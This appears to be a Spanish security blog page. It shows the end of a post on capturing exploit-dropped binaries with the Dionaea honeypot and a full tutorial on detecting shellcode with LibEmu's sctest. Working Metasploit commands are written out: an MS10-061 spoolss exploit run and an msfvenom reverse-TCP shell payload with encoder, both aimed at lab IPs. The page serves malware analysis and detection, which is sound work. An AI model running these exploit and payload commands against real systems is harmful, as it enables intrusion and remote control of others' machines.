dcerpc request: uuid ‘3919286a-b10c-11d0-9ba8-00c04fd92ef5′ (DSSETUP) opnum 9 (DsRolerUpgradeDownlevelServer (MS04-11))profile: [{‘return': ‘0x71a10000′, ‘args': [‘ws2_32′], ‘call': ‘LoadLibraryA’}]2015-03-16 00:28:17connection 1010 SipSession udp connect 192.168.1.98:5060 -> /192.168.1.98:47685 (1010 None)Method:OPTIONSCall-ID:78617845@192.168.1.98User-Agent:LJtDLdXwaddr: <> ‘sip:nobody@192.168.1.98:None’

to: <> ‘sip:nobody@192.168.1.98:None’

contact: <> ‘sip:nobody@192.168.1.98:None’

from: <> ‘sip:LJtDLdXw@192.168.1.98:5060′

via:’UDP/192.168.1.98:5060′

 

Por otro lado, cuando un exploit transfiere algún tipo de fichero a la máquina atacada, el honeypot captura y almacena dicho fichero en el directorio que se ha definido en la sección de configuración “downloads”. Dichos ficheros pueden ser utilizados posteriormente para ser analizados con Cuckoo o con cualquier otra herramienta de análisis de malware.

msfcli exploit/windows/smb/ms10_061_spoolss PNAME=XPSPrinter RHOST=192.168.1.98 EXITFUNC=process LHOST=192.168.1.98 LPORT=4444 E
[*] Initializing modules…PNAME => XPSPrinter
RHOST => 192.168.1.98
EXITFUNC => process
LHOST => 192.168.1.98

LPORT => 4444

[*] Started reverse handler on 192.168.1.98:4444

[*] Trying target Windows Universal…

[*] Binding to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:192.168.1.98[\spoolss] …

[*] Bound to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacn_np:192.168.1.98[\spoolss] …

[*] Attempting to exploit MS10-061 via \\192.168.1.98\XPSPrinter …

[*] Printer handle: 0000000000000000000000000000000000000000

[*] Job started: 0x3

[*] Wrote 73802 bytes to %SystemRoot%\system32\jv3zNgf80OaKcs.exe

[*] Job started: 0x3

[*] Wrote 2237 bytes to %SystemRoot%\system32\wbem\mof\tOpOFGImh6sT6j.mof

[-] Exploit failed: NoMethodError undefined method `unpack’ for nil:NilClass

 

En este caso concreto, al utilizar el exploit SMB Spoolss, se transfiere un fichero malicioso al servicio atacado y Dionaea lo almacena en el directorio “/opt/dionaea/var/dionaea/binaries”

 

>ls -l var/dionaea/binaries/
total 152
-rw——- 2 adastra adastra 73802 mar 16 00:45 c9a0a0ccbd330b43d5196cd69b80159d-rw——- 2 adastra adastra 73802 mar 16 00:45 spoolss-d1fgrg.tmp
>file var/dionaea/binaries/c9a0a0ccbd330b43d5196cd69b80159d

var/dionaea/binaries/c9a0a0ccbd330b43d5196cd69b80159d: PE32 executable (GUI) Intel 80386, for MS Windows


>file var/dionaea/binaries/spoolss-d1fgrg.tmp

var/dionaea/binaries/spoolss-d1fgrg.tmp: PE32 executable (GUI) Intel 80386, for MS Windows

El programa descargado es un ejecutable PE para sistemas Windows, capturado y almacenado por Dionaea.

Saludos y Happy Hack!
Adastra.

Detección de malware con libemu

marzo 17, 2015 1 comentario

Una de las principales tareas de cualquier investigador de malware consiste precisamente en obtener, analizar y comprender el funcionamiento de todas las muestras que pueda, de esta forma podrá entender mucho mejor las técnicas utilizadas por las personas que se dedican a crear este tipo de programas. Además de hacerlo por “diversión y beneficio”, la detección y posterior análisis de malware son algunas de las principales rutinas que se suelen implementar en sistemas IDS/IPS tales como Suricata y Snort o en HoneyPots tales como Dionaea. Para ello, existen varias librerías que ayudan a crear hooks para monitorizar y analizar algunas de las “API Calls” más utilizadas en programas maliciosos, una bastante conocida es PyDBG, la cual es ampliamente utilizada en proyectos tales como Pamei/Sulley Framework.

Sin embargo, no solamente existen librerías en Python para este tipo de actividades, y de hecho, otro lenguaje que se ha utilizado y se sigue utilizando con bastante frecuencia para la elaboración de analizadores de código malicioso es C/C++ y sobre dicho lenguaje, se encuentra desarrollada una de las librerías más potentes que conozco para el análisis de muestras de malware: LibEmu.

“Libemu es una librería que permite realizar un proceso básico de emulación sobre sistemas con arqutectura x86 y además, permite la detección de shellcodes utilizando heurísticas GetPC.”

Este mismo texto será el que encuentres en la página oficial de Libemu (http://libemu.carnivore.it/) pero para comprender realmente lo que significa, hace falta tener claros ciertos conceptos:
“Proceso básico de emulación”: Concretamente sobre las instrucciones disponibles en arquitecturas x86. Un proceso de emulación, a diferencia de un proceso de simulación, pretende modelar el comportamiento de un programa de la forma más precisa y exacta posible, creando para ello una plataforma completa que permita reproducir el funcionamiento del programa. Esto quiere decir que LibEmu se encarga de replicar las instrucciones básicas de un sistema, funcionando de un modo similar a una máquina virtual pero con la diferencia de que un emulador tiende a ser mucho más lento y permite emular también la CPU.

“Heurísticas GetPC”: Get Program Counter o también conocido como GetEIP en arquitecturas x86 es una técnica comúnmente utilizada en el desarrollo de shellcodes para determinar la ubicación del shellcode en el espacio de direcciones del proceso. Este tipo de rutinas son vitales para realizar procesos de decodificación y mutación, en las cuales el shellcode necesita conocer la ubicación en la que ha sido inyectado dentro del proceso vulnerable. “GetPC” no es una única técnica, sino que abarca varias técnicas que combinan instrucciones para conocer la dirección de memoria en la que se encuentra el shellcode. Algunas de dichas instrucciones son: CALL GetPC, FSTENV GetPC, SEH GetPC (sobre sistemas Windows y no soportado por LibEmu), entre otras que explicaré en un próximo articulo.

Para instalar LibEmu, se puede descargar la última versión estable desde el sitio web oficial en: http://libemu.carnivore.it/#download, desde el repositorio Git o utilizando el comando “apt-get install libemu2” en sistemas basados en Debian. En este caso, se utilizará la versión de desarrollo que se encuentra incluida en el repositorio.

>git clone git://git.carnivore.it/libemu.git>autoreconf -v -i

>./configure –prefix=/opt/libemu –enable-python-bindings –disable-werror

>make

Como se puede apreciar, a la hora de configurar el ejecutable con el comando “configure”, se ha utilizado la opción “–enable-python-bindings”, de esta forma se instalan también los “bindings” de Python para LibEmu de forma automática, es decir, se encarga de instalar la librería “pylibemu” para utilizar LibEmu desde Python, algo de lo que se hablará en un próximo articulo.

Una vez se ha terminado de instalar la librería en el sistema, contamos con algunas herramientas que son muy útiles para el análisis de malware y son las que le dan “vida” a LibEmu.

Para poder probar su funcionamiento se puede utilizar cualquier malware disponible en Internet (con precaución obviamente) o utilizando alguno de los payloads que se pueden generar con Metasploit Framework. Independiente del mecanismo utilizado, lo interesante de LibEmu son los resultados que arroja cuando se ejecutan utilidades como “sctest”.

Utilizando “msfvenom” de Metasploit Framework se creará un payload malicioso que posteriormente será utilizado para realizar las pruebas con LibEmu.

./msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.244 LPORT=4444 -e x86/shikata_ga_nai -f raw > testingPayload.bin No platform was selected, choosing Msf::Module::Platform::Linux from the payload

No Arch selected, selecting Arch: x86 from the payload

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 98 (iteration=0)

Se ha utilizado “msfvenom”, un sustituto de la utilidad “msfpayload”, la cual se encuentra deprecada y que próximamente será removida del proyecto.

El fichero generado se ha nombrado como “testingPayload” y a continuación será utilizado con LibEmu y la utilidad “sctest” para ver el contenido del fichero y determinar si se trata de un programa malicioso o no.

En primer lugar, algunas de las opciones disponibles en “sctest” se pueden listar con el interruptor “-h/–help”

./sctest –help -a PATH use this argos csi files as input

–argos-csi= PATH

-b IP:PORT bind this ip:port

–bind=IP:PORT

-c IP:PORT redirect connects to this ip:port

–connect=IP:PORT

-C CMD command to execute for “cmd” in shellcode (default: cmd=”/bin/sh -c \”cd ~/.wine/drive_c/; wine ‘c:\windows\system32\cmd_orig.exe’ \””)

–cmd= CMD

-d INTEGER dump the shellcode (binary) to stdout

–dump=INTEGER

-g run getpc mode, try to detect a shellcode

–getpc

-G FILEPATH save a dot formatted callgraph in filepath

–graph=FILEPATH

-h show this help

–help

-i proxy api calls to the host operating system

–interactive

-l list all tests

–listtests

-o [INT|HEX] manual offset for shellcode, accepts int and hexvalues

–offset=[INT|HEX]

-p PATH write shellcode profile to this file

–profile= PATH

-S read shellcode/buffer from stdin, works with -g

–stdin

-s INTEGER max number of steps to run

–steps=INTEGER

-t INTEGER the test to run

–testnumber=INTEGER

-v be verbose, can be used multiple times, f.e. -vv

–verbose

Algunas resultan especialmente interesantes de cara a la detección de un programa malicioso, especialmente “-S”, “-t”, “-l” y “-g”.
Con la opción “-l” se pueden ver las pruebas que realizará la herramienta para detectar payloads maliciosos.

>./sctest -l
0 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com1 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=Pex http://metasploit.com

2 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com

3 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com

4 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com

5 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=349 Encoder=JmpCallAdditive http://metasploit.com

6 ) win32_reverse – EXITFUNC=seh LHOST=216.75.15.231 LPORT=4321 Size=287 Encoder=None http://metasploit.com

7 ) win32_downloadexec – URL=http://nepenthes.mwcollect.org/bad.exe Size=378 Encoder=None http://metasploit.com

8 ) win32_exec – EXITFUNC=seh CMD=cmd -c http://ftp.exe -s foo.scripted_sequence; echo der fox hat die gans gezogen Size=205 Encoder=None http://metasploit.com

9 ) some old dcom shellcode

10) brihgtstor discovery

11) amberg

12) lindau – linkbot connectback version

13) bremen – linkbot bind version

14) halle – filetransferr via csend

15) tills neuer

16) win32_bind pex & ./clet -S win32_bind_pex -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123

17) clet decoded nop slide (144 0x90 decoded with ./clet -S 144nop -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123)

18) the hackers choice realplayer 8 exploit

19) win32_bind_vncinject – VNCDLL=/home/opcode/msfweb/framework/data/vncdll.dll EXITFUNC=seh AUTOVNC=1 VNCPORT=5900 LPORT=4444 Size=287 Encoder=None http://metasploit.com

20) windows/vncinject/reverse_tcp – 177 bytes (stage 1) http://www.metasploit.com DisableCourtesyShell=false, VNCHOST=127.0.0.1, VNCPORT=5900, EXITFUNC=seh, DLL=/tmp/framework-3.0/data/vncdll.dll, LPORT=4444, LHOST=192.168.53.20, AUTOVNC=true

21) till sein lsass dump

22) bindshell::schoenborn

23) sqlslammer

24) linux bindshell

25) Windows bindshell 0.0.0.0:8594 – tried exploit PNP_QueryResConfList/MS05-39

26) Windows bind filetransfer 0.0.0.0:38963 – tried to exploit DsRolerUpgradeDownlevelServer/MS04-11

27) libemu dos

28) windows/shell_bind_tcp AutoRunScript=, EXITFUNC=process, InitialAutoRunScript=, LPORT=4444, RHOST= http://www.metasploit.com

29) crash in loadlibrary

30) crash in fwrite

31) crash in lwrite/hwrite

32) crash in malloc

33) crash in send

34) crash in execve

Algunas de las pruebas que realiza la utilidad son bastante conocidas y por defecto las realiza todas, pero si se indica el interruptor “-t”, solamente se ejecutará la prueba con el identificador especificado.

A continuación se puede ejecutar “sctest” utilizando los interruptores “-g”, “-v”.

>./sctest -gS -s 150 -v < /home/adastra/Escritorio/testingPayload.bin verbose = 1

success offset = 0x00000000

int socket(int domain=2, int type=1, int protocol=0);

connect

stepcount 106

int socket (

int domain = 2;

int type = 1;

int protocol = 0;

) = 14;

int connect (

int sockfd = 14;

struct sockaddr_in * serv_addr = 0x00416fc2 =>

struct = {

short sin_family = 2;

unsigned short sin_port = 23569 (port=4444);

struct in_addr sin_addr = {

unsigned long s_addr = -201217856 (host=192.168.1.244);

};

char sin_zero = ” “;

};

int addrlen = 102;

) = 0;

Como se puede apreciar, “sctest” ha detectado que el programa en cuestión tiene un payload malicioso que se encarga de conectarse al puerto “4444” del host “192.168.1.244”. Como se puede ver, aparecen cada una de las funciones que en conjunto, representan un patrón malicioso conocido.

Por otro lado, también es posible importar los resultados en una imagen con la representación gráfica de cada una de las invocaciones que se han realizado.

>./sctest -gS -s 150 -v -G /home/adastra/Escritorio/payloadGraph.dot < /home/adastra/Escritorio/payload.bin

El formato generado por la herramienta es “DOT”, el cual puede ser rápidamente convertido a un formato mucho más conocido como JPEG o PNG utilizando Graphviz.

>sudo apt-get install graphviz

El resultado de ejecutar la utilidad con la opción “-G” se puede ver en la siguiente imagen.

payloadGraph

Flujo de invocaciones del programa

Para la detección de shellcodes, LibEmu se basa en técnicas GetPC tal como se ha visto anteriormente, con lo cual, para comprender cómo funciona LibEmu, lo más importante es comprender el funcionamiento de las técnicas GetPC, especialmente las basadas en llamadas (CALL) y en la función FNSTNV. En un próximo articulo intentaré profundizar un poco más en estas secuencias de instrucciones.

Un saludo y Happy Hack!
Adastra.

WEB HACKING – Algunos Ataques directos contra servidores web Apache – Parte XX

enero 24, 2013 1 comentario

En la publicación anterior se ha hablado de sobre algunos ataques directos contra servidores web con vulnerabilidades conocidas. En esta publicación y en la próxima se hablará sobre algunas de las vulnerabilidades más criticas que ha sufrido el servidor web más utilizado del mundo: Apache HTTPD Web Server con algunos ejemplos para comprender en que consisten.

Leer más…

WEB HACKING – Ataques directos contra servidores web – Parte XIX

enero 22, 2013 Deja un comentario

En la publicación anterior se ha hablado sobre algunos ataques básicos contra la infraestructura de un servidor web y se ha mencionado la importancia que tiene un buen proceso de recolección de información para llevar a cabo cualquier tipo de ataque, en esta ocasión, se hablará un poco más sobre otros tipos de ataques frecuentes contra servidores web, tanto aprovechando vulnerabilidades relacionadas directamente con el servidor, así como también vulnerabilidades relacionadas con alguna de las aplicaciones web que se ejecutan en el mismo.

Leer más…

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.582 seguidores

A %d blogueros les gusta esto: